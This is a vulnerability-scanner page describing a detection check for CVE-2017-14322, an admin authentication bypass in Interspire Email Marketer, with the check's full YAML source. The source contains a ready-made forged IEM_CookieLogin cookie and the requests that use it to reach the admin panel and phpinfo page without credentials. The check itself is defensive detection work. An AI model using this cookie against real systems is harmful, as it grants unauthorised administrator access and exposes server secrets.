Interspire Iem — 1 vulnerability check

noctis ships 1 vulnerability check for Interspire Iem, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Interspire Email Marketer IEM_CookieLogin Admin Authentication Bypass

CVECVE-2017-14322
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/interspire-iem/CVE-2017-14322.yaml

Interspire Email Marketer before 6.1.6 trusts a forged "remember me" cookie (IEM_CookieLogin) whose random check value is replaced by the boolean true, logging an unauthenticated visitor in as the administrator. The feed sends that cookie, without credentials, to the admin control panel and to the admin-only system information page (Settings > showinfo), and confirms with the same cookie carrying a random check value that only the boolean value grants access. Read-only GET requests; nothing is changed on the target.

How noctis detects it

  1. HTTP(S) request GET {{iem_dir}}admin/index.php
  2. Checks panel_resp.body for (?s)(?:admin/index\.php\?Page=Addons&(?:amp;)?Addon=(?:dbcheck"|check…
  3. HTTP(S) request GET {{iem_dir}}admin/index.php?Page=Settings&Action=showinfo
  4. Checks info_resp.body for (?s)<title>phpinfo\(\)</title>|<h1>Configuration</h1>|System.*Build D…
  5. HTTP(S) request GET {{iem_dir}}admin/index.php?Page=Settings&Action=showinfo
  6. HTTP(S) request GET {{iem_dir}}admin/index.php
  7. Parses / computes the next value with a Rhai script
  8. Checks proof for ^iem-admin-showinfo$ → finding QoD 75: Interspire Email Marketer Admin Authentication Bypass (CVE-2017-14322)
  9. Checks proof for ^iem-admin-panel$ → finding QoD 70: Interspire Email Marketer Admin Authentication Bypass (CVE-2017-14322)

References:

Feed source — tests/vulnerabilities/interspire-iem/CVE-2017-14322.yaml
# Interspire Email Marketer — IEM_CookieLogin admin authentication bypass — CVE-2017-14322
#
# Ported from OpenVAS/Greenbone NVT 2017/gb_interspire_iem_remote_admin_auth_bypass_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.112087, GPL-2.0-only).
#
# Interspire Email Marketer (IEM) before 6.1.6: admin/functions/init.php logs
# a visitor in from the "remember me" cookie IEM_CookieLogin, a base64 PHP
# serialized array {user, time, rand, takemeto}. The `rand` field is compared
# loosely with the user's stored random login-check string, so a cookie whose
# `rand` is the boolean true (`b:1`) matches any non-empty string and logs the
# visitor in as `user` — "1" is the administrator created at install time.
#
# Detection (read-only, no credentials, nothing written):
#   1. GET <dir>admin/index.php with the forged cookie (rand = b:1)
#      → the admin control panel (Addons dbcheck / checkpermissions links +
#        "logged in as" / Logout link).
#   2. GET <dir>admin/index.php?Page=Settings&Action=showinfo with the same
#      cookie → the admin-only system information page (phpinfo output /
#      "System" + "Build Date").
#   3. Control: every page that answered step 1/2 is requested again with the
#      same cookie but `rand` a random 16-char string (a forged cookie without
#      the type juggling) → must be answered and show neither the panel nor
#      the system information. Proves the boolean `rand` is what gets in, and
#      that the page is not simply open to everyone.
#   Branches: system information page + control → QoD 75; control panel only
#   (showinfo did not render) + control → QoD 70.
#   Evidence never contains the page bodies (phpinfo lists server secrets).
#
# Better than the NASL:
#   - the NASL POSTs a login form with ss_username=admin&ss_password=admin
#     alongside the cookie: a real password attempt against the admin account
#     (lockout, and an FP when admin/admin is simply valid). This feed sends
#     GETs only, as the public exploit (EDB-44513) does;
#   - adds the random-rand differential control (no FP on a panel or phpinfo
#     page that is reachable without authentication);
#   - probes the common install directories itself instead of relying on a
#     prior product-detection run;
#   - reports the panel-only case (QoD 70) that the NASL drops when showinfo
#     is disabled or renamed.
# Known limit: the bypass needs user 1 to have a non-empty stored login-check
# string (true == "" is false in PHP); such installs are not reported.
uid: 164df879-515a-45e7-a115-48480167545d
name: "Interspire Email Marketer IEM_CookieLogin Admin Authentication Bypass (CVE-2017-14322)"
description: |
  Interspire Email Marketer before 6.1.6 trusts a forged "remember me" cookie
  (IEM_CookieLogin) whose random check value is replaced by the boolean true,
  logging an unauthenticated visitor in as the administrator. The feed sends
  that cookie, without credentials, to the admin control panel and to the
  admin-only system information page (Settings > showinfo), and confirms with
  the same cookie carrying a random check value that only the boolean value
  grants access. Read-only GET requests; nothing is changed on the target.
cves: [CVE-2017-14322]
cvss: 9.8
severity: critical
confidence_base: 0.20
category: auth-bypass
tags: [interspire, iem, email-marketer, auth-bypass, cookie, type-juggling, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-14322"
  - "https://www.exploit-db.com/exploits/44513/"
  - "https://www.mail-archive.com/fulldisclosure@seclists.org/msg04937.html"

vars:
  # a:4:{s:4:"user";s:1:"1";s:4:"time";i:1710477294;s:4:"rand";b:1;s:8:"takemeto";s:9:"index.php";}
  iem_forged_cookie: "IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE3MTA0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30="
  # Same array, rand = s:16:"noctisControl123" (no type juggling → must be rejected)
  iem_control_cookie: "IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE3MTA0NzcyOTQ7czo0OiJyYW5kIjtzOjE2OiJub2N0aXNDb250cm9sMTIzIjtzOjg6InRha2VtZXRvIjtzOjk6ImluZGV4LnBocCI7fQ=="

steps:
  # ── Per install directory: reset everything the later steps read ──────────
  - id: init-panel-resp
    action: set_var
    var_name: panel_resp
    var_value: {status: 0, body: ""}
    loop:
      over: ["/", "/iem/", "/emailmarketer/", "/email-marketer/", "/interspire/", "/email/", "/newsletter/"]
      var: iem_dir

  - id: init-info-resp
    action: set_var
    var_name: info_resp
    var_value: {status: 0, body: ""}

  - id: init-control-resp
    action: set_var
    var_name: control_resp
    var_value: {status: 0, body: ""}

  - id: init-control-panel-resp
    action: set_var
    var_name: control_panel_resp
    var_value: {status: 0, body: ""}

  - id: init-panel-hit
    action: set_var
    var_name: panel_hit
    var_value: false

  - id: init-info-hit
    action: set_var
    var_name: info_hit
    var_value: false

  - id: init-control-clean
    action: set_var
    var_name: control_clean
    var_value: false

  # Short marker the report steps match on, so page bodies never land in the
  # finding.
  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── 1. Forged cookie → admin control panel ────────────────────────────────
  - id: panel-probe
    action: http_request
    method: GET
    path: "{{iem_dir}}admin/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    headers:
      Cookie: "{{iem_forged_cookie}}"
      Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    store_as: panel_resp

  - id: panel-match
    action: match
    condition: "panel_resp.status == 200"
    source: panel_resp.body
    pattern: '(?s)(?:admin/index\.php\?Page=Addons&(?:amp;)?Addon=(?:dbcheck"|checkpermissions)).*(?:<div class="loggedinas">|<a href="index\.php\?Page=Logout")|(?:<div class="loggedinas">|<a href="index\.php\?Page=Logout").*admin/index\.php\?Page=Addons&(?:amp;)?Addon=(?:dbcheck"|checkpermissions)'
    on_match:
      set_vars:
        panel_hit: true
        proof: "iem-admin-panel"

  # ── 2. Forged cookie → admin-only system information page ─────────────────
  - id: info-probe
    action: http_request
    method: GET
    path: "{{iem_dir}}admin/index.php?Page=Settings&Action=showinfo"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    headers:
      Cookie: "{{iem_forged_cookie}}"
      Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    store_as: info_resp

  - id: info-match
    action: match
    condition: "info_resp.status == 200"
    source: info_resp.body
    pattern: '(?s)<title>phpinfo\(\)</title>|<h1>Configuration</h1>|System.*Build Date|Build Date.*System|SERVER_ADMIN.*SERVER_ADDR|SERVER_ADDR.*SERVER_ADMIN'
    on_match:
      set_vars:
        info_hit: true
        proof: "iem-admin-showinfo"

  # ── 3. Controls: same cookie, rand = random string → must be rejected ─────
  # Each page that answered the forged cookie is requested again with the
  # control cookie, so a page that is simply open to everyone never counts.
  - id: control-info-probe
    action: http_request
    method: GET
    condition: "info_hit"
    path: "{{iem_dir}}admin/index.php?Page=Settings&Action=showinfo"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    headers:
      Cookie: "{{iem_control_cookie}}"
      Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    store_as: control_resp

  - id: control-panel-probe
    action: http_request
    method: GET
    condition: "panel_hit"
    path: "{{iem_dir}}admin/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    headers:
      Cookie: "{{iem_control_cookie}}"
      Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    store_as: control_panel_resp

  # Fail-closed: every control that ran must have been answered and must show
  # neither the admin panel nor the system information.
  - id: control-verdict
    action: script
    condition: "panel_hit || info_hit"
    code: |
      fn leaks(b) {
        if type_of(b) != "string" { return false; }
        b.contains("<div class=\"loggedinas\">")
          || b.contains("Page=Logout\"")
          || b.contains("<title>phpinfo()</title>")
          || b.contains("<h1>Configuration</h1>")
          || (b.contains("System") && b.contains("Build Date"))
          || (b.contains("SERVER_ADMIN") && b.contains("SERVER_ADDR"))
      }
      let info_ok = !info_hit || (control_resp.status != 0 && !leaks(control_resp.body));
      let panel_ok = !panel_hit || (control_panel_resp.status != 0 && !leaks(control_panel_resp.body));
      info_ok && panel_ok
    store_as: control_clean

  # ── Report ────────────────────────────────────────────────────────────────
  - id: report-showinfo
    action: match
    condition: "info_hit && control_clean == true"
    source: proof
    pattern: "^iem-admin-showinfo$"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        title: "Interspire Email Marketer Admin Authentication Bypass (CVE-2017-14322)"
        evidence: "GET {{iem_dir}}admin/index.php?Page=Settings&Action=showinfo with a forged IEM_CookieLogin cookie (user 1, rand = boolean true, no credentials) returned HTTP {{info_resp.status}} with the admin-only system information page; the same request with a random rand string returned HTTP {{control_resp.status}} without it. Control panel reached with the forged cookie: {{panel_hit}}. Read-only, nothing changed."
      stop: true

  - id: report-panel
    action: match
    condition: "panel_hit && !info_hit && control_clean == true"
    source: proof
    pattern: "^iem-admin-panel$"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 70
        title: "Interspire Email Marketer Admin Authentication Bypass (CVE-2017-14322)"
        evidence: "GET {{iem_dir}}admin/index.php with a forged IEM_CookieLogin cookie (user 1, rand = boolean true, no credentials) returned HTTP {{panel_resp.status}} with the logged-in admin control panel; the system information page did not render, and the same request with a random rand string returned HTTP {{control_panel_resp.status}} without admin access. Read-only, nothing changed."
      stop: true

View these feeds on GitHub